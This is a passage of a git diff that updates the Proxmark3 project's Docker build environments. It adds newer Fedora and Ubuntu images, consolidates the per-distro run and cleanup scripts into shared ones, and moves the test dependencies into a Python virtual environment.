--use-pep517 pyaes +python3 -m pip install ansicolors sslcrypto +tools/release_tests.sh +deactivate diff --git a/docker/fedora-43/Dockerfile b/docker/fedora-43/Dockerfile new file mode 100644 index 000000000..1c8affc51 --- /dev/null +++ b/docker/fedora-43/Dockerfile @@ -0,0 +1,27 @@ +FROM fedora:rawhide + +ENV LANG=C +# qt5-qtbase-devel skipped +RUN dnf install -y passwd sudo git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils + +RUN yum -y update +RUN yum -y install cmake python-pip +RUN python3 -m pip install ansicolors sslcrypto + +RUN yum -y install mesa-libOpenCL ocl-icd-devel + +# Create rrg user +RUN useradd -ms /bin/bash rrg +RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi +RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers + +USER rrg +WORKDIR "/home/rrg" + +CMD ["/bin/bash"] diff --git a/docker/fedora-43/README.md b/docker/fedora-43/README.md new file mode 100644 index 000000000..b88fb1457 --- /dev/null +++ b/docker/fedora-43/README.md @@ -0,0 +1,20 @@ +# Notes on run_tests.sh script +This script runs a bunch of different builds with make and cmake together +with the different combos of RDV4, GENERIC, BTADDON combos. + +If all tests OK, the script will finish with PASS. + +# Notes to run tests +The script is to be run in proxmark root folder inside the docker env. + +``` +docker/fedora-43/run_tests.sh; +``` + +Or if you want to run single test, + +``` +sudo yum -y update +make clean; make -j +tools/pm3_tests.sh --long +``` diff --git a/docker/fedora-43/docker_conf.inc b/docker/fedora-43/docker_conf.inc new file mode 100644 index 000000000..9f1c4c08c --- /dev/null +++ b/docker/fedora-43/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-fedora-43:1.0 diff --git a/docker/fedora-43/run_tests.sh b/docker/fedora-43/run_tests.sh new file mode 100755 index 000000000..f73e5fb62 --- /dev/null +++ b/docker/fedora-43/run_tests.sh @@ -0,0 +1,13 @@ +#!/usr/bin/env bash +# Iceman 2022 +# +# This script is to be run from proxmark root folder inside the docker env +# docker/fedora-43/run_tests.sh; + +sudo yum -y update +python3 -m venv /tmp/venv +source /tmp/venv/bin/activate +python3 -m pip install --use-pep517 pyaes +python3 -m pip install ansicolors sslcrypto +tools/release_tests.sh +deactivate diff --git a/docker/homebrew/Dockerfile b/docker/homebrew/Dockerfile index 0a432fc18..d4893d154 100644 --- a/docker/homebrew/Dockerfile +++ b/docker/homebrew/Dockerfile @@ -2,6 +2,13 @@ FROM homebrew/brew ENV LANG=C +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + sudo groupadd -g ${UART_GID} mydialout || true; \ + sudo usermod -aG ${UART_GID} linuxbrew; \ + fi + USER linuxbrew WORKDIR "/home/linuxbrew" RUN brew install cmake pkg-config bzip2 lz4 && rm -rf ~/.cache/Homebrew diff --git a/docker/homebrew/README.md b/docker/homebrew/README.md index 549896b33..664db5de3 100644 --- a/docker/homebrew/README.md +++ b/docker/homebrew/README.md @@ -1,5 +1,7 @@ # Notes on linux homebrew +If needed to install sth, run brew as user linuxbrew + Do not `brew install arm-none-eabi-gcc`, it's a Mach-O executable. So only host bins can be built (except tools/hitag2crack/crack5opencl which needs OpenCL) @@ -8,9 +10,10 @@ So only host bins can be built (except tools/hitag2crack/crack5opencl which need ```sh make -j client USE_BREW=1 SKIPREADLINE=1 -make -j mfkey -make -j nonce2key -make -j mf_nonce_brute +make -j cryptorf +make -j mfc_card_only +make -j mfc_card_reader +make -j mfd_aes_brute make -j hitag2crack SKIPOPENCL=1 make -j fpga_compress ``` diff --git a/docker/homebrew/docker_build.sh b/docker/homebrew/docker_build.sh deleted file mode 100755 index 466106d36..000000000 --- a/docker/homebrew/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-brew:1.0" . diff --git a/docker/homebrew/docker_conf.inc b/docker/homebrew/docker_conf.inc new file mode 100644 index 000000000..b53f34184 --- /dev/null +++ b/docker/homebrew/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-brew:1.0 diff --git a/docker/homebrew/docker_rm.sh b/docker/homebrew/docker_rm.sh deleted file mode 100644 index aa782d4a3..000000000 --- a/docker/homebrew/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-brew:1.0) -docker image rm pm3-brew:1.0 diff --git a/docker/homebrew/docker_run.sh b/docker/homebrew/docker_run.sh deleted file mode 100755 index efde1649b..000000000 --- a/docker/homebrew/docker_run.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/linuxbrew/proxmark3 -w /home/linuxbrew/proxmark3 -it pm3-brew:1.0 -# if needed, run brew as user linuxbrew diff --git a/docker/kali/Dockerfile b/docker/kali/Dockerfile index 3f1946e29..90349c69d 100644 --- a/docker/kali/Dockerfile +++ b/docker/kali/Dockerfile @@ -9,10 +9,8 @@ RUN apt-get update && \ apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean -RUN apt-get install -y python3-minimal && \ - apt-get install -y python3-pip && \ - apt-get clean && \ - python3 -m pip install ansicolors sslcrypto +RUN apt-get install -y --no-install-recommends python3-minimal python3-pip python3-venv && \ + apt-get clean RUN apt-get install -y opencl-dev && \ apt-get clean @@ -20,6 +18,12 @@ RUN apt-get install -y opencl-dev && \ # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/kali/docker_build.sh b/docker/kali/docker_build.sh deleted file mode 100755 index 59a8a207b..000000000 --- a/docker/kali/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-kali:1.0" . diff --git a/docker/kali/docker_conf.inc b/docker/kali/docker_conf.inc new file mode 100644 index 000000000..62f57876b --- /dev/null +++ b/docker/kali/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-kali:1.0 diff --git a/docker/kali/docker_rm.sh b/docker/kali/docker_rm.sh deleted file mode 100644 index fee4f07cf..000000000 --- a/docker/kali/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-kali:1.0) -docker image rm pm3-kali:1.0 diff --git a/docker/kali/docker_run.sh b/docker/kali/docker_run.sh deleted file mode 100755 index 7124fe5b5..000000000 --- a/docker/kali/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-kali:1.0 diff --git a/docker/kali/run_tests.sh b/docker/kali/run_tests.sh index dec20763b..3fc747191 100755 --- a/docker/kali/run_tests.sh +++ b/docker/kali/run_tests.sh @@ -5,4 +5,9 @@ # docker/kali/run_tests.sh; sudo apt update && sudo apt upgrade -y +python3 -m venv /tmp/venv +source /tmp/venv/bin/activate +python3 -m pip install --use-pep517 pyaes +python3 -m pip install ansicolors sslcrypto tools/release_tests.sh +deactivate diff --git a/docker/opensuse-leap/Dockerfile b/docker/opensuse-leap/Dockerfile index 99d608b76..701ac8505 100644 --- a/docker/opensuse-leap/Dockerfile +++ b/docker/opensuse-leap/Dockerfile @@ -6,7 +6,7 @@ RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-de RUN zypper addrepo https://download.opensuse.org/repositories/home:wkazubski/15.6/home:wkazubski.repo && \ zypper --gpg-auto-import-keys refresh && \ - zypper --non-interactive install cross-arm-none-eabi-gcc13 cross-arm-none-eabi-newlib + zypper --non-interactive install cross-arm-none-eabi-gcc14 cross-arm-none-eabi-newlib RUN zypper --non-interactive install cmake python3 python3-pip && \ python3 -m pip install ansicolors sslcrypto @@ -16,6 +16,12 @@ RUN zypper --non-interactive install ocl-icd-devel # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) NOPASSWD: ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/opensuse-leap/docker_build.sh b/docker/opensuse-leap/docker_build.sh deleted file mode 100755 index d7e8a8873..000000000 --- a/docker/opensuse-leap/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-suse-leap:1.0" . diff --git a/docker/opensuse-leap/docker_conf.inc b/docker/opensuse-leap/docker_conf.inc new file mode 100644 index 000000000..ac8d995f5 --- /dev/null +++ b/docker/opensuse-leap/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-suse-leap:1.0 diff --git a/docker/opensuse-leap/docker_rm.sh b/docker/opensuse-leap/docker_rm.sh deleted file mode 100644 index 12302b6f7..000000000 --- a/docker/opensuse-leap/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-suse-leap:1.0) -docker image rm pm3-suse-leap:1.0 diff --git a/docker/opensuse-leap/docker_run.sh b/docker/opensuse-leap/docker_run.sh deleted file mode 100755 index f3c830626..000000000 --- a/docker/opensuse-leap/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-suse-leap:1.0 diff --git a/docker/opensuse-tumbleweed/Dockerfile b/docker/opensuse-tumbleweed/Dockerfile index 81dcf331c..7bc086b29 100644 --- a/docker/opensuse-tumbleweed/Dockerfile +++ b/docker/opensuse-tumbleweed/Dockerfile @@ -2,7 +2,7 @@ FROM opensuse/tumbleweed ENV LANG=C # libqt5-qtbase-devel skipped -RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel cross-arm-none-gcc12 cross-arm-none-newlib-devel gd-devel +RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel cross-arm-none-gcc14 cross-arm-none-newlib-devel gd-devel #RUN zypper addrepo https://download.opensuse.org/repositories/home:wkazubski/openSUSE_Tumbleweed/home:wkazubski.repo && \ # zypper --gpg-auto-import-keys refresh && \ @@ -15,6 +15,12 @@ RUN zypper --non-interactive install ocl-icd-devel # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) NOPASSWD: ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/opensuse-tumbleweed/docker_build.sh b/docker/opensuse-tumbleweed/docker_build.sh deleted file mode 100755 index b93549831..000000000 --- a/docker/opensuse-tumbleweed/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-suse-tumbleweed:1.0" . diff --git a/docker/opensuse-tumbleweed/docker_conf.inc b/docker/opensuse-tumbleweed/docker_conf.inc new file mode 100644 index 000000000..e6cc65b22 --- /dev/null +++ b/docker/opensuse-tumbleweed/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-suse-tumbleweed:1.0 diff --git a/docker/opensuse-tumbleweed/docker_rm.sh b/docker/opensuse-tumbleweed/docker_rm.sh deleted file mode 100644 index c4b1b1d53..000000000 --- a/docker/opensuse-tumbleweed/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-suse-tumbleweed:1.0) -docker image rm pm3-suse-tumbleweed:1.0 diff --git a/docker/opensuse-tumbleweed/docker_run.sh b/docker/opensuse-tumbleweed/docker_run.sh deleted file mode 100755 index 79ef74d5c..000000000 --- a/docker/opensuse-tumbleweed/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-suse-tumbleweed:1.0 diff --git a/docker/parrot-core-latest/Dockerfile b/docker/parrot-core-latest/Dockerfile index df3952d9d..044acdff4 100644 --- a/docker/parrot-core-latest/Dockerfile +++ b/docker/parrot-core-latest/Dockerfile @@ -18,6 +18,12 @@ RUN apt-get install -y opencl-dev && \ # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/parrot-core-latest/docker_build.sh b/docker/parrot-core-latest/docker_build.sh deleted file mode 100755 index 3e052143d..000000000 --- a/docker/parrot-core-latest/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-parrotsec-core-latest:1.0" . diff --git a/docker/parrot-core-latest/docker_conf.inc b/docker/parrot-core-latest/docker_conf.inc new file mode 100644 index 000000000..6410849ad --- /dev/null +++ b/docker/parrot-core-latest/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-parrotsec-core-latest:1.0 diff --git a/docker/parrot-core-latest/docker_rm.sh b/docker/parrot-core-latest/docker_rm.sh deleted file mode 100644 index 9bf1605e5..000000000 --- a/docker/parrot-core-latest/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-parrotsec-core-latest:1.0) -docker image rm pm3-parrotsec-core-latest:1.0 diff --git a/docker/parrot-core-latest/docker_run.sh b/docker/parrot-core-latest/docker_run.sh deleted file mode 100755 index 509df4461..000000000 --- a/docker/parrot-core-latest/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-parrotsec-core-latest:1.0 diff --git a/docker/rm.sh b/docker/rm.sh new file mode 100755 index 000000000..72aab077b --- /dev/null +++ b/docker/rm.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +if [ ! -e docker_conf.inc ]; then + echo "This script must be run from within one of the subfolders" + exit 1 +fi +. docker_conf.inc +CONTAINER=$(docker ps -aq --filter ancestor="$DOCKER_IMAGE") +if [ -n "$CONTAINER" ]; then + docker rm $CONTAINER +fi +docker image rm "$DOCKER_IMAGE" diff --git a/docker/run.sh b/docker/run.sh new file mode 100755 index 000000000..df178fb6c --- /dev/null +++ b/docker/run.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +if [ ! -e docker_conf.inc ]; then + echo "This script must be run from within one of the subfolders" + exit 1 +fi +. docker_conf.inc +UART_PORT="$(../../pm3 --list|grep dev|head -n1|cut -d' ' -f2)" +if [ -n "$UART_PORT" ]; then + DEV="--device=/dev/tty0 --device=$UART_PORT" +else + DEV="" +fi +docker run $DEV $DOCKER_PLATFORM --volume="$(pwd)/../..:/home/rrg/proxmark3" -w /home/rrg/proxmark3 --net=host --rm -it "$DOCKER_IMAGE" diff --git a/docker/ubuntu-18.04/Dockerfile b/docker/ubuntu-18.04/Dockerfile deleted file mode 100644 index ecf8c60a3..000000000 --- a/docker/ubuntu-18.04/Dockerfile +++ /dev/null @@ -1,29 +0,0 @@ -FROM ubuntu:18.04 - -ENV LANG=C -ENV DEBIAN_FRONTEND=noninteractive -# qtbase5-dev skipped -# python3 skipped, not yet searchable with pkg-config python3 -RUN apt-get update && \ - apt-get upgrade -y && \ - apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libssl-dev libgd-dev sudo && \ - apt-get clean - -RUN apt-get install -y python3-minimal && \ - apt-get install -y python3-pip && \ - apt-get clean && \ - python3 -m pip install ansicolors sslcrypto - -RUN apt-get install -y opencl-dev && \ - apt-get clean - -# Create rrg user -RUN useradd -ms /bin/bash rrg -RUN passwd -d rrg -RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers - -USER rrg -WORKDIR "/home/rrg" - -CMD ["/bin/bash"] diff --git a/docker/ubuntu-18.04/docker_build.sh b/docker/ubuntu-18.04/docker_build.sh deleted file mode 100755 index 252b8792f..000000000 --- a/docker/ubuntu-18.04/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-ubuntu-18.04:1.0" . diff --git a/docker/ubuntu-18.04/docker_rm.sh b/docker/ubuntu-18.04/docker_rm.sh deleted file mode 100644 index 20dcb80b2..000000000 --- a/docker/ubuntu-18.04/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-ubuntu-18.04:1.0) -docker image rm pm3-ubuntu-18.04:1.0 diff --git a/docker/ubuntu-18.04/docker_run.sh b/docker/ubuntu-18.04/docker_run.sh deleted file mode 100755 index 01d133712..000000000 --- a/docker/ubuntu-18.04/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-ubuntu-18.04:1.0 diff --git a/docker/ubuntu-18.04/run_tests.sh b/docker/ubuntu-18.04/run_tests.sh deleted file mode 100755 index 1efdbc060..000000000 --- a/docker/ubuntu-18.04/run_tests.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env bash -# Iceman 2022 -# -# This script is to be run from proxmark root folder inside the docker env -# docker/ubuntu-18.04/run_tests.sh; - -sudo apt update && sudo apt upgrade -y -tools/release_tests.sh diff --git a/docker/ubuntu-20.04/docker_build.sh b/docker/ubuntu-20.04/docker_build.sh deleted file mode 100755 index 58dfa2906..000000000 --- a/docker/ubuntu-20.04/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-ubuntu-20.04:1.0" . diff --git a/docker/ubuntu-20.04/docker_rm.sh b/docker/ubuntu-20.04/docker_rm.sh deleted file mode 100644 index d71954339..000000000 --- a/docker/ubuntu-20.04/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-ubuntu-20.04:1.0) -docker image rm pm3-ubuntu-20.04:1.0 diff --git a/docker/ubuntu-20.04/docker_run.sh b/docker/ubuntu-20.04/docker_run.sh deleted file mode 100755 index dd05c9f79..000000000 --- a/docker/ubuntu-20.04/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-ubuntu-20.04:1.0 diff --git a/docker/ubuntu-20.04/run_tests.sh b/docker/ubuntu-20.04/run_tests.sh deleted file mode 100755 index aa98bc327..000000000 --- a/docker/ubuntu-20.04/run_tests.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env bash -# Iceman 2022 -# -# This script is to be run from proxmark root folder inside the docker env -# docker/ubuntu-20.04/run_tests.sh; - -sudo apt update && sudo apt upgrade -y -tools/release_tests.sh diff --git a/docker/ubuntu-22.04/docker_build.sh b/docker/ubuntu-22.04/docker_build.sh deleted file mode 100755 index 1cfd6c10a..000000000 --- a/docker/ubuntu-22.04/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-ubuntu-22.04:1.0" . diff --git a/docker/ubuntu-22.04/docker_rm.sh b/docker/ubuntu-22.04/docker_rm.sh deleted file mode 100644 index d1b82948b..000000000 --- a/docker/ubuntu-22.04/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-ubuntu-22.04:1.0) -docker image rm pm3-ubuntu-22.04:1.0 diff --git a/docker/ubuntu-22.04/docker_run.sh b/docker/ubuntu-22.04/docker_run.sh deleted file mode 100755 index 04f8d99a0..000000000 --- a/docker/ubuntu-22.04/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-ubuntu-22.04:1.0 diff --git a/docker/ubuntu-22.04/run_tests.sh b/docker/ubuntu-22.04/run_tests.sh deleted file mode 100755 index 4f8ce55ea..000000000 --- a/docker/ubuntu-22.04/run_tests.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env bash -# Iceman 2022 -# -# This script is to be run from proxmark root folder inside the docker env -# docker/ubuntu-22.04/run_tests.sh; - -sudo apt update && sudo apt upgrade -y -tools/release_tests.sh diff --git a/docker/debian-11-bullseye/Dockerfile b/docker/ubuntu-24.04/Dockerfile similarity index 56% rename from docker/debian-11-bullseye/Dockerfile rename to docker/ubuntu-24.04/Dockerfile index 41c8b448e..0932f8e4f 100644 --- a/docker/debian-11-bullseye/Dockerfile +++ b/docker/ubuntu-24.04/Dockerfile @@ -1,4 +1,4 @@ -FROM debian:bullseye-slim +FROM ubuntu:24.04 ENV LANG=C ENV DEBIAN_FRONTEND=noninteractive @@ -9,17 +9,23 @@ RUN apt-get update && \ apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean -RUN apt-get install -y python3-minimal && \ - apt-get install -y python3-pip && \ - apt-get clean && \ - python3 -m pip install ansicolors sslcrypto +RUN apt-get install -y --no-install-recommends python3-minimal python3-pip python3-venv && \ + apt-get clean RUN apt-get install -y opencl-dev && \ apt-get clean -# Create rrg user +# Create rrg user => there is already a ubuntu user = 1000 that we need to move away +RUN usermod -u 999 ubuntu +RUN groupmod -g 999 ubuntu RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/ubuntu-22.04/README.md b/docker/ubuntu-24.04/README.md similarity index 92% rename from docker/ubuntu-22.04/README.md rename to docker/ubuntu-24.04/README.md index 93d4462ad..24a2605a1 100644 --- a/docker/ubuntu-22.04/README.md +++ b/docker/ubuntu-24.04/README.md @@ -9,7 +9,7 @@ If all tests OK, the script will finish with PASS. The script is to be run in proxmark root folder inside the docker env. ``` -docker/ubuntu-22.04/run_tests.sh; +docker/ubuntu-24.04/run_tests.sh; ``` Or if you want to run single test, diff --git a/docker/ubuntu-24.04/docker_conf.inc b/docker/ubuntu-24.04/docker_conf.inc new file mode 100644 index 000000000..38c37aff7 --- /dev/null +++ b/docker/ubuntu-24.04/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-ubuntu-24.04:1.0 diff --git a/docker/ubuntu-24.04/run_tests.sh b/docker/ubuntu-24.04/run_tests.sh new file mode 100755 index 000000000..f77f54baf --- /dev/null +++ b/docker/ubuntu-24.04/run_tests.sh @@ -0,0 +1,13 @@ +#!/usr/bin/env bash +# Iceman 2022 +# +# This script is to be run from proxmark root folder inside the docker env +# docker/ubuntu-24.04/run_tests.sh; + +sudo apt update && sudo apt upgrade -y +python3 -m venv /tmp/venv +source /tmp/venv/bin/activate +python3 -m pip install --use-pep517 pyaes +python3 -m pip install ansicolors sslcrypto +tools/release_tests.sh +deactivate diff --git a/docker/ubuntu-24.10/Dockerfile b/docker/ubuntu-24.10/Dockerfile new file mode 100644 index 000000000..89abd2516 --- /dev/null +++ b/docker/ubuntu-24.10/Dockerfile @@ -0,0 +1,34 @@ +FROM ubuntu:24.10 + +ENV LANG=C +ENV DEBIAN_FRONTEND=noninteractive +# qtbase5-dev skipped +RUN apt-get update && \ + apt-get upgrade -y && \ + apt-get dist-upgrade -y && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get clean + +RUN apt-get install -y --no-install-recommends python3-minimal python3-pip python3-venv && \ + apt-get clean + +RUN apt-get install -y opencl-dev && \ + apt-get clean + +# Create rrg user => there is already a ubuntu user = 1000 that we need to move away +RUN usermod -u 999 ubuntu +RUN groupmod -g 999 ubuntu +RUN useradd -ms /bin/bash rrg +RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi +RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers + +USER rrg +WORKDIR "/home/rrg" + +CMD ["/bin/bash"] diff --git a/docker/ubuntu-18.04/README.md b/docker/ubuntu-24.10/README.md similarity index 92% rename from docker/ubuntu-18.04/README.md rename to docker/ubuntu-24.10/README.md index 6cc3b9ef2..53a3a2107 100644 --- a/docker/ubuntu-18.04/README.md +++ b/docker/ubuntu-24.10/README.md @@ -9,11 +9,10 @@ If all tests OK, the script will finish with PASS. The script is to be run in proxmark root folder inside the docker env. ``` -docker/ubuntu-18.04/run_tests.sh; +docker/ubuntu-24.10/run_tests.sh; ``` Or if you want to run single test, - ``` sudo apt update make clean; make -j diff --git a/docker/ubuntu-24.10/docker_conf.inc b/docker/ubuntu-24.10/docker_conf.inc new file mode 100644 index 000000000..a6c548152 --- /dev/null +++ b/docker/ubuntu-24.10/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-ubuntu-24.10:1.0 diff --git a/docker/ubuntu-24.10/run_tests.sh b/docker/ubuntu-24.10/run_tests.sh new file mode 100755 index 000000000..3dbfac71d --- /dev/null +++ b/docker/ubuntu-24.10/run_tests.sh @@ -0,0 +1,13 @@ +#!/usr/bin/env bash +# Iceman 2022 +# +# This script is to be run from proxmark root folder inside the docker env +# docker/ubuntu-24.10/run_tests.sh; + +sudo apt update && sudo apt upgrade -y +python3 -m venv /tmp/venv +source /tmp/venv/bin/activate +python3 -m pip install --use-pep517 pyaes +python3 -m pip install ansicolors sslcrypto +tools/release_tests.sh +deactivate diff --git a/docker/ubuntu-25.04/Dockerfile b/docker/ubuntu-25.04/Dockerfile new file mode 100644 index 000000000..245d7343a --- /dev/null +++ b/docker/ubuntu-25.04/Dockerfile @@ -0,0 +1,34 @@ +FROM ubuntu:25.04 + +ENV LANG=C +ENV DEBIAN_FRONTEND=noninteractive +# qtbase5-dev skipped +RUN apt-get update && \ + apt-get upgrade -y && \ + apt-get dist-upgrade -y && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get clean + +RUN apt-get install -y --no-install-recommends python3-minimal python3-pip python3-venv && \ + apt-get clean + +RUN apt-get install -y opencl-dev && \ + apt-get clean + +# Create rrg user => there is already a ubuntu user = 1000 that we need to move away +RUN usermod -u 999 ubuntu +RUN groupmod -g 999 ubuntu +RUN useradd -ms /bin/bash rrg +RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi +RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers + +USER rrg +WORKDIR "/home/rrg" + +CMD ["/bin/bash"] diff --git a/docker/ubuntu-20.04/README.md b/docker/ubuntu-25.04/README.md similarity index 92% rename from docker/ubuntu-20.04/README.md rename to docker/ubuntu-25.04/README.md index 4c432eff1..ae44d231a 100644 --- a/docker/ubuntu-20.04/README.md +++ b/docker/ubuntu-25.04/README.md @@ -9,11 +9,10 @@ If all tests OK, the script will finish with PASS. The script is to be run in proxmark root folder inside the docker env. ``` -docker/ubuntu-20.04/run_tests.sh; +docker/ubuntu-25.04/run_tests.sh; ``` Or if you want to run single test, - ``` sudo apt update make clean; make -j diff --git a/docker/ubuntu-25.04/docker_conf.inc b/docker/ubuntu-25.04/docker_conf.inc new file mode 100644 index 000000000..3b0c2e0e3 --- /dev/null +++ b/docker/ubuntu-25.04/docker_conf.inc @@ -0,0 +1 @@ 